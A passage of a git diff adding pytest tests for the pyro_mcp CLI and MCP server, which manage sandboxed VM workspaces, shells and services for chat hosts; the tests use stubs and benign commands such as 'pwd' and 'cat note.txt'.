server.call_tool("workspace_status", {"workspace_id": "workspace-123"}) + ) + summary = _extract_structured( + await server.call_tool("workspace_summary", {"workspace_id": "workspace-123"}) + ) + logs = _extract_structured( + await server.call_tool("workspace_logs", {"workspace_id": "workspace-123"}) + ) + opened = _extract_structured( + await server.call_tool( + "shell_open", + { + "workspace_id": "workspace-123", + "cwd": "/workspace/src", + "cols": 100, + "rows": 20, + "secret_env": {"TOKEN": "API_TOKEN"}, + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "shell_read", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "cursor": 5, + "max_chars": 1024, + "plain": True, + "wait_for_idle_ms": 300, + }, + ) + ) + wrote = _extract_structured( + await server.call_tool( + "shell_write", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "input": "pwd", + "append_newline": False, + }, + ) + ) + signaled = _extract_structured( + await server.call_tool( + "shell_signal", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "signal_name": "TERM", + }, + ) + ) + closed = _extract_structured( + await server.call_tool( + "shell_close", + {"workspace_id": "workspace-123", "shell_id": "shell-1"}, + ) + ) + file_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "file", + "command": "run-file", + "ready_file": ".ready", + }, + ) + ) + tcp_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "tcp", + "command": "run-tcp", + "ready_tcp": "127.0.0.1:8080", + }, + ) + ) + http_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "http", + "command": "run-http", + "ready_http": "http://127.0.0.1:8080/", + }, + ) + ) + command_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "command", + "command": "run-command", + "ready_command": "test -f .ready", + }, + ) + ) + return ( + status, + summary, + logs, + opened, + read, + wrote, + signaled, + closed, + file_service, + tcp_service, + http_service, + command_service, + ) + + results = asyncio.run(_run()) + assert results[0]["state"] == "started" + assert results[1]["workspace_id"] == "workspace-123" + assert results[2]["count"] == 0 + assert results[3]["shell_id"] == "shell-1" + assert results[7]["closed"] is True + assert results[8]["state"] == "running" + assert results[11]["state"] == "running" + assert calls == [ + ("status_workspace", {"workspace_id": "workspace-123"}), + ("summarize_workspace", {"workspace_id": "workspace-123"}), + ("logs_workspace", {"workspace_id": "workspace-123"}), + ( + "open_shell", + { + "workspace_id": "workspace-123", + "cwd": "/workspace/src", + "cols": 100, + "rows": 20, + "secret_env": {"TOKEN": "API_TOKEN"}, + }, + ), + ( + "read_shell", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "cursor": 5, + "max_chars": 1024, + "plain": True, + "wait_for_idle_ms": 300, + }, + ), + ( + "write_shell", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "input_text": "pwd", + "append_newline": False, + }, + ), + ( + "signal_shell", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "signal_name": "TERM", + }, + ), + ("close_shell", {"workspace_id": "workspace-123", "shell_id": "shell-1"}), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "file", + "command": "run-file", + "cwd": "/workspace", + "readiness": {"type": "file", "path": ".ready"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "tcp", + "command": "run-tcp", + "cwd": "/workspace", + "readiness": {"type": "tcp", "address": "127.0.0.1:8080"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "http", + "command": "run-http", + "cwd": "/workspace", + "readiness": {"type": "http", "url": "http://127.0.0.1:8080/"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "command", + "command": "run-command", + "cwd": "/workspace", + "readiness": {"type": "command", "command": "test -f .ready"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ] diff --git a/tests/test_cli.py b/tests/test_cli.py index a2a9b10..ecb6e74 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -2,11 +2,450 @@ from __future__ import annotations import argparse import json -from typing import Any +import sys +from pathlib import Path +from typing import Any, cast import pytest import pyro_mcp.cli as cli +from pyro_mcp.host_helpers import HostDoctorEntry + + +def _subparser_choice(parser: argparse.ArgumentParser, name: str) -> argparse.ArgumentParser: + subparsers = getattr(parser, "_subparsers", None) + if subparsers is None: + raise AssertionError("parser does not define subparsers") + group_actions = cast(list[Any], subparsers._group_actions) # noqa: SLF001 + if not group_actions: + raise AssertionError("parser subparsers are empty") + choices = cast(dict[str, argparse.ArgumentParser], group_actions[0].choices) + return choices[name] + + +def test_cli_help_guides_first_run() -> None: + parser = cli._build_parser() + help_text = parser.format_help() + + assert "Suggested zero-to-hero path:" in help_text + assert "pyro doctor" in help_text + assert "pyro prepare debian:12" in help_text + assert "pyro run debian:12 -- git --version" in help_text + assert "pyro host connect claude-code" in help_text + assert "Connect a chat host after that:" in help_text + assert "pyro host connect claude-code" in help_text + assert "pyro host connect codex" in help_text + assert "pyro host print-config opencode" in help_text + assert "Daily local loop after the first warmup:" in help_text + assert "pyro doctor --environment debian:12" in help_text + assert "pyro workspace reset WORKSPACE_ID" in help_text + assert "If you want terminal-level visibility into the workspace model:" in help_text + assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in help_text + assert "pyro workspace summary WORKSPACE_ID" in help_text + assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in help_text + assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in help_text + assert "pyro workspace sync push WORKSPACE_ID ./changes" in help_text + + +def test_cli_subcommand_help_includes_examples_and_guidance() -> None: + parser = cli._build_parser() + + run_help = _subparser_choice(parser, "run").format_help() + assert "pyro run debian:12 -- git --version" in run_help + assert "Opt into host-side compatibility execution" in run_help + assert "Enable outbound guest networking" in run_help + assert "may appear in either order" in run_help + assert "Use --json for a deterministic" in run_help + + env_help = _subparser_choice(_subparser_choice(parser, "env"), "pull").format_help() + assert "Environment name from `pyro env list`" in env_help + assert "pyro env pull debian:12" in env_help + assert "downloads from public Docker Hub" in env_help + + prepare_help = _subparser_choice(parser, "prepare").format_help() + assert "Warm the recommended guest-backed daily loop" in prepare_help + assert "pyro prepare debian:12 --network" in prepare_help + assert "--network" in prepare_help + assert "--force" in prepare_help + + host_help = _subparser_choice(parser, "host").format_help() + assert "Connect or repair the supported Claude Code, Codex, and OpenCode" in host_help + assert "pyro host connect claude-code" in host_help + assert "pyro host repair opencode" in host_help + + host_connect_help = _subparser_choice( + _subparser_choice(parser, "host"), "connect" + ).format_help() + assert "--installed-package" in host_connect_help + assert "--project-path" in host_connect_help + assert "--repo-url" in host_connect_help + assert "--repo-ref" in host_connect_help + assert "--no-project-source" in host_connect_help + + host_print_config_help = _subparser_choice( + _subparser_choice(parser, "host"), "print-config" + ).format_help() + assert "--output" in host_print_config_help + + host_doctor_help = _subparser_choice(_subparser_choice(parser, "host"), "doctor").format_help() + assert "--config-path" in host_doctor_help + + host_repair_help = _subparser_choice(_subparser_choice(parser, "host"), "repair").format_help() + assert "--config-path" in host_repair_help + + doctor_help = _subparser_choice(parser, "doctor").format_help() + assert "Check host prerequisites and embedded runtime health" in doctor_help + assert "--environment" in doctor_help + assert "pyro doctor --environment debian:12" in doctor_help + assert "pyro doctor --json" in doctor_help + + demo_help = _subparser_choice(parser, "demo").format_help() + assert "pyro demo ollama --verbose" in demo_help + + mcp_help = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() + assert "Expose pyro tools over stdio for an MCP client." in mcp_help + assert "--profile" in mcp_help + assert "workspace-core" in mcp_help + assert "workspace-full" in mcp_help + assert "vm-run" in mcp_help + assert "recommended first profile for most chat hosts" in mcp_help + assert "workspace-core: default for normal persistent chat editing" in mcp_help + assert "workspace-full: larger opt-in surface" in mcp_help + assert "--project-path" in mcp_help + assert "--repo-url" in mcp_help + assert "--repo-ref" in mcp_help + assert "--no-project-source" in mcp_help + assert "pyro mcp serve --project-path ." in mcp_help + assert "pyro mcp serve --repo-url https://github.com/example/project.git" in mcp_help + + workspace_help = _subparser_choice(parser, "workspace").format_help() + assert "Use the workspace model when you need one sandbox to stay alive" in workspace_help + assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help + assert "--id-only" in workspace_help + assert "pyro workspace create debian:12 --name repro-fix --label issue=123" in workspace_help + assert "pyro workspace list" in workspace_help + assert ( + "pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex" in workspace_help + ) + assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help + assert "pyro workspace exec WORKSPACE_ID" in workspace_help + assert "pyro workspace diff WORKSPACE_ID" in workspace_help + assert "pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt" in workspace_help + assert "pyro workspace stop WORKSPACE_ID" in workspace_help + assert "pyro workspace disk list WORKSPACE_ID" in workspace_help + assert "pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4" in workspace_help + assert "pyro workspace start WORKSPACE_ID" in workspace_help + assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_help + assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in workspace_help + assert "pyro workspace summary WORKSPACE_ID" in workspace_help + assert "pyro workspace shell open WORKSPACE_ID --id-only" in workspace_help + + workspace_create_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "create", + ).format_help() + assert "--id-only" in workspace_create_help + assert "--name" in workspace_create_help + assert "--label" in workspace_create_help + assert "--seed-path" in workspace_create_help + assert "--secret" in workspace_create_help + assert "--secret-file" in workspace_create_help + assert "seed into `/workspace`" in workspace_create_help + + workspace_exec_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "exec", + ).format_help() + assert "--secret-env" in workspace_exec_help + assert "persistent `/workspace`" in workspace_exec_help + assert "pyro workspace exec WORKSPACE_ID -- cat note.txt" in workspace_exec_help + + workspace_sync_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "sync", + ).format_help() + assert "Sync is non-atomic." in workspace_sync_help + assert "pyro workspace sync push WORKSPACE_ID ./repo" in workspace_sync_help + + workspace_sync_push_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "sync"), "push" + ).format_help() + assert "--dest" in workspace_sync_push_help + assert "Import host content into `/workspace`" in workspace_sync_push_help + + workspace_export_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "export" + ).format_help() + assert "--output" in workspace_export_help + assert "Export one file or directory from `/workspace`" in workspace_export_help + + workspace_list_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "list" + ).format_help() + assert "List persisted workspaces" in workspace_list_help + + workspace_update_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "update" + ).format_help() + assert "--name" in workspace_update_help + assert "--clear-name" in workspace_update_help + assert "--label" in workspace_update_help + assert "--clear-label" in workspace_update_help + + workspace_summary_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "summary" + ).format_help() + assert "Summarize the current workspace session since the last reset" in workspace_summary_help + assert "pyro workspace summary WORKSPACE_ID" in workspace_summary_help + + workspace_file_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "file" + ).format_help() + assert "model-native tree inspection and text edits" in workspace_file_help + assert "pyro workspace file read WORKSPACE_ID src/app.py" in workspace_file_help + + workspace_file_list_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "list" + ).format_help() + assert "--recursive" in workspace_file_list_help + + workspace_file_read_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "read" + ).format_help() + assert "--max-bytes" in workspace_file_read_help + assert "--content-only" in workspace_file_read_help + + workspace_file_write_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "file"), "write" + ).format_help() + assert "--text" in workspace_file_write_help + assert "--text-file" in workspace_file_write_help + + workspace_patch_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "patch" + ).format_help() + assert "Apply add/modify/delete unified text patches" in workspace_patch_help + + workspace_patch_apply_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "patch"), "apply" + ).format_help() + assert "--patch" in workspace_patch_apply_help + assert "--patch-file" in workspace_patch_apply_help + + workspace_stop_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "stop" + ).format_help() + assert "Stop the backing sandbox" in workspace_stop_help + + workspace_start_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "start" + ).format_help() + assert "previously stopped workspace" in workspace_start_help + + workspace_disk_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "disk" + ).format_help() + assert "secondary stopped-workspace disk tools" in workspace_disk_help + assert "pyro workspace disk read WORKSPACE_ID note.txt" in workspace_disk_help + + workspace_disk_export_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "export" + ).format_help() + assert "--output" in workspace_disk_export_help + + workspace_disk_list_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "list" + ).format_help() + assert "--recursive" in workspace_disk_list_help + + workspace_disk_read_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "disk"), "read" + ).format_help() + assert "--max-bytes" in workspace_disk_read_help + assert "--content-only" in workspace_disk_read_help + + workspace_diff_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "diff" + ).format_help() + assert "immutable workspace baseline" in workspace_diff_help + assert "workspace export" in workspace_diff_help + + workspace_snapshot_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "snapshot", + ).format_help() + assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_snapshot_help + assert "baseline" in workspace_snapshot_help + + workspace_snapshot_create_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "create" + ).format_help() + assert "Capture the current `/workspace` tree" in workspace_snapshot_create_help + + workspace_snapshot_list_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "list" + ).format_help() + assert "baseline snapshot plus any named snapshots" in workspace_snapshot_list_help + + workspace_snapshot_delete_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "delete" + ).format_help() + assert "leaving the implicit baseline intact" in workspace_snapshot_delete_help + + workspace_reset_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "reset" + ).format_help() + assert "--snapshot" in workspace_reset_help + assert "reset over repair" in workspace_reset_help + + workspace_shell_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "shell", + ).format_help() + assert "pyro workspace shell open WORKSPACE_ID --id-only" in workspace_shell_help + assert "Use `workspace exec` for one-shot commands." in workspace_shell_help + + workspace_service_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "service", + ).format_help() + assert "pyro workspace service start WORKSPACE_ID app" in workspace_service_help + assert "Use `--ready-file` by default" in workspace_service_help + + workspace_service_start_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "start" + ).format_help() + assert "--ready-file" in workspace_service_start_help + assert "--ready-tcp" in workspace_service_start_help + assert "--ready-http" in workspace_service_start_help + assert "--ready-command" in workspace_service_start_help + assert "--secret-env" in workspace_service_start_help + + workspace_service_logs_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" + ).format_help() + assert "--tail-lines" in workspace_service_logs_help + assert "--all" in workspace_service_logs_help + + workspace_shell_open_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" + ).format_help() + assert "--id-only" in workspace_shell_open_help + assert "--cwd" in workspace_shell_open_help + assert "--cols" in workspace_shell_open_help + assert "--rows" in workspace_shell_open_help + assert "--secret-env" in workspace_shell_open_help + + workspace_shell_read_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" + ).format_help() + assert "Shell output is written to stdout." in workspace_shell_read_help + assert "--plain" in workspace_shell_read_help + assert "--wait-for-idle-ms" in workspace_shell_read_help + + workspace_shell_write_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" + ).format_help() + assert "--input" in workspace_shell_write_help + assert "--no-newline" in workspace_shell_write_help + + workspace_shell_signal_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "signal" + ).format_help() + assert "--signal" in workspace_shell_signal_help + + workspace_shell_close_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "close" + ).format_help() + assert "Close a persistent workspace shell" in workspace_shell_close_help + + +def test_cli_host_connect_dispatch( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + pass + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="host", + host_command="connect", + host="codex", + installed_package=False, + profile="workspace-core", + project_path=None, + repo_url=None, + repo_ref=None, + no_project_source=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr( + cli, + "connect_cli_host", + lambda host, *, config: { + "host": host, + "server_command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], + "verification_command": ["codex", "mcp", "list"], + }, + ) + + cli.main() + captured = capsys.readouterr() + assert captured.out == ( + "Connected pyro to codex.\n" + "Server command: uvx --from pyro-mcp pyro mcp serve\n" + "Verify with: codex mcp list\n" + ) + assert captured.err == "" + + +def test_cli_host_doctor_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + pass + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="host", + host_command="doctor", + installed_package=False, + profile="workspace-core", + project_path=None, + repo_url=None, + repo_ref=None, + no_project_source=False, + config_path=None, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr( + cli, + "doctor_hosts", + lambda **_: [ + HostDoctorEntry( + host="codex", + installed=True, + configured=False, + status="missing", + details="codex entry missing", + repair_command="pyro host repair codex", + ) + ], + ) + + cli.main() + captured = capsys.readouterr() + assert "codex: missing installed=yes configured=no" in captured.out + assert "repair: pyro host repair codex" in captured.out + assert captured.err == "" def test_cli_run_prints_json( @@ -29,6 +468,8 @@ def test_cli_run_prints_json( timeout_seconds=30, ttl_seconds=600, network=True, + allow_host_compat=False, + json=True, command_args=["--", "echo", "hi"], ) @@ -44,13 +485,22 @@ def test_cli_doctor_prints_json( ) -> None: class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="doctor", platform="linux-x86_64") + return argparse.Namespace( + command="doctor", + platform="linux-x86_64", + environment="debian:12", + json=True, + ) monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr( cli, "doctor_report", - lambda platform: {"platform": platform, "runtime_ok": True}, + lambda *, platform, environment: { + "platform": platform, + "environment": environment, + "runtime_ok": True, + }, ) cli.main() output = json.loads(capsys.readouterr().out) @@ -93,7 +543,7 @@ def test_cli_env_list_prints_json( class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="env", env_command="list") + return argparse.Namespace(command="env", env_command="list", json=True) monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr(cli, "Pyro", StubPyro) @@ -102,6 +552,4396 @@ def test_cli_env_list_prints_json( assert output["environments"][0]["name"] == "debian:12" +def test_cli_run_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_vm(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["vcpu_count"] == 1 + assert kwargs["mem_mib"] == 1024 + return {"vm_id": "vm-123"} + + def start_vm(self, vm_id: str) -> dict[str, Any]: + assert vm_id == "vm-123" + return {"vm_id": vm_id, "state": "started"} + + def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + assert vm_id == "vm-123" + assert command == "echo hi" + assert timeout_seconds == 30 + return { + "environment": "debian:12", + "execution_mode": "guest_vsock", + "exit_code": 0, + "duration_ms": 12, + "stdout": "hi\n", + "stderr": "", + } + + @property + def manager(self) -> Any: + raise AssertionError("manager cleanup should not be used on a successful run") + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="run", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + timeout_seconds=30, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=False, + command_args=["--", "echo", "hi"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + cli.main() + + captured = capsys.readouterr() + assert captured.out == "hi\n" + assert "[run] phase=create environment=debian:12" in captured.err + assert "[run] phase=start vm_id=vm-123" in captured.err + assert "[run] phase=execute vm_id=vm-123" in captured.err + assert "[run] environment=debian:12 execution_mode=guest_vsock exit_code=0" in captured.err + + +def test_cli_run_exits_with_command_status( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_vm(self, **kwargs: Any) -> dict[str, Any]: + del kwargs + return {"vm_id": "vm-456"} + + def start_vm(self, vm_id: str) -> dict[str, Any]: + assert vm_id == "vm-456" + return {"vm_id": vm_id, "state": "started"} + + def exec_vm(self, vm_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + assert vm_id == "vm-456" + assert command == "false" + assert timeout_seconds == 30 + return { + "environment": "debian:12", + "execution_mode": "guest_vsock", + "exit_code": 7, + "duration_ms": 5, + "stdout": "", + "stderr": "bad\n", + } + + @property + def manager(self) -> Any: + raise AssertionError("manager cleanup should not be used when exec_vm returns normally") + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="run", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + timeout_seconds=30, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=False, + command_args=["--", "false"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + with pytest.raises(SystemExit, match="7"): + cli.main() + + captured = capsys.readouterr() + assert "bad\n" in captured.err + + +def test_cli_env_pull_prints_human_progress( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def pull_environment(self, environment: str) -> dict[str, Any]: + assert environment == "debian:12" + return { + "name": "debian:12", + "version": "1.0.0", + "distribution": "debian", + "distribution_version": "12", + "installed": True, + "cache_dir": "/tmp/cache", + "default_packages": ["bash", "git"], + "install_dir": "/tmp/cache/linux-x86_64/debian_12-1.0.0", + "install_manifest": "/tmp/cache/linux-x86_64/debian_12-1.0.0/environment.json", + "kernel_image": "/tmp/cache/linux-x86_64/debian_12-1.0.0/vmlinux", + "rootfs_image": "/tmp/cache/linux-x86_64/debian_12-1.0.0/rootfs.ext4", + "oci_registry": "registry-1.docker.io", + "oci_repository": "thalesmaciel/pyro-environment-debian-12", + "oci_reference": "1.0.0", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="env", + env_command="pull", + environment="debian:12", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + cli.main() + + captured = capsys.readouterr() + assert "[pull] phase=install environment=debian:12" in captured.err + assert "[pull] phase=ready environment=debian:12" in captured.err + assert "Pulled: debian:12" in captured.out + + def test_cli_requires_run_command() -> None: with pytest.raises(ValueError, match="command is required"): cli._require_command([]) + + +def test_cli_requires_command_preserves_shell_argument_boundaries() -> None: + command = cli._require_command( + ["--", "sh", "-lc", 'printf "hello from workspace\\n" > note.txt'] + ) + assert command == "sh -lc 'printf \"hello from workspace\\n\" > note.txt'" + + +def test_cli_read_utf8_text_file_rejects_non_utf8(tmp_path: Path) -> None: + source_path = tmp_path / "bad.txt" + source_path.write_bytes(b"\xff\xfe") + + with pytest.raises(ValueError, match="must contain UTF-8 text"): + cli._read_utf8_text_file(str(source_path), option_name="--text-file") + + +def test_cli_read_utf8_text_file_rejects_empty_path() -> None: + with pytest.raises(ValueError, match="must not be empty"): + cli._read_utf8_text_file("", option_name="--patch-file") + + +def test_cli_shortcut_flags_are_mutually_exclusive() -> None: + parser = cli._build_parser() + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "create", + "debian:12", + "--json", + "--id-only", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "shell", + "open", + "workspace-123", + "--json", + "--id-only", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "file", + "write", + "workspace-123", + "src/app.py", + "--text", + "hello", + "--text-file", + "./app.py", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "patch", + "apply", + "workspace-123", + "--patch", + "--- a/app.py\n+++ b/app.py\n", + "--patch-file", + "./fix.patch", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "file", + "read", + "workspace-123", + "note.txt", + "--json", + "--content-only", + ] + ) + + with pytest.raises(SystemExit): + parser.parse_args( + [ + "workspace", + "disk", + "read", + "workspace-123", + "note.txt", + "--json", + "--content-only", + ] + ) + + +def test_cli_workspace_create_prints_json( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["environment"] == "debian:12" + assert kwargs["seed_path"] == "./repo" + assert kwargs["network_policy"] == "egress" + assert kwargs["name"] == "repro-fix" + assert kwargs["labels"] == {"issue": "123"} + return {"workspace_id": "workspace-123", "state": "started"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network_policy="egress", + allow_host_compat=False, + seed_path="./repo", + name="repro-fix", + label=["issue=123"], + secret=[], + secret_file=[], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_id"] == "workspace-123" + + +def test_cli_workspace_create_prints_id_only( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["environment"] == "debian:12" + return {"workspace_id": "workspace-123", "state": "started"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network_policy="off", + allow_host_compat=False, + seed_path=None, + name=None, + label=[], + secret=[], + secret_file=[], + json=False, + id_only=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "workspace-123\n" + assert captured.err == "" + + +def test_cli_workspace_create_prints_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + del kwargs + return { + "workspace_id": "workspace-123", + "name": "repro-fix", + "labels": {"issue": "123"}, + "environment": "debian:12", + "state": "started", + "network_policy": "off", + "workspace_path": "/workspace", + "last_activity_at": 123.0, + "workspace_seed": { + "mode": "directory", + "seed_path": "/tmp/repo", + "destination": "/workspace", + "entry_count": 1, + "bytes_written": 6, + }, + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + "last_command": None, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network_policy="off", + allow_host_compat=False, + seed_path="/tmp/repo", + name="repro-fix", + label=["issue=123"], + secret=[], + secret_file=[], + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Workspace ID: workspace-123" in output + assert "Name: repro-fix" in output + assert "Labels: issue=123" in output + assert "Workspace: /workspace" in output + assert "Workspace seed: directory from /tmp/repo" in output + + +def test_cli_workspace_exec_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace( + self, + workspace_id: str, + *, + command: str, + timeout_seconds: int, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert command == "cat note.txt" + assert timeout_seconds == 30 + assert secret_env is None + return { + "workspace_id": workspace_id, + "sequence": 2, + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "exit_code": 0, + "duration_ms": 4, + "stdout": "hello\n", + "stderr": "", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", + timeout_seconds=30, + secret_env=[], + json=False, + command_args=["--", "cat", "note.txt"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello\n" + assert "[workspace-exec] 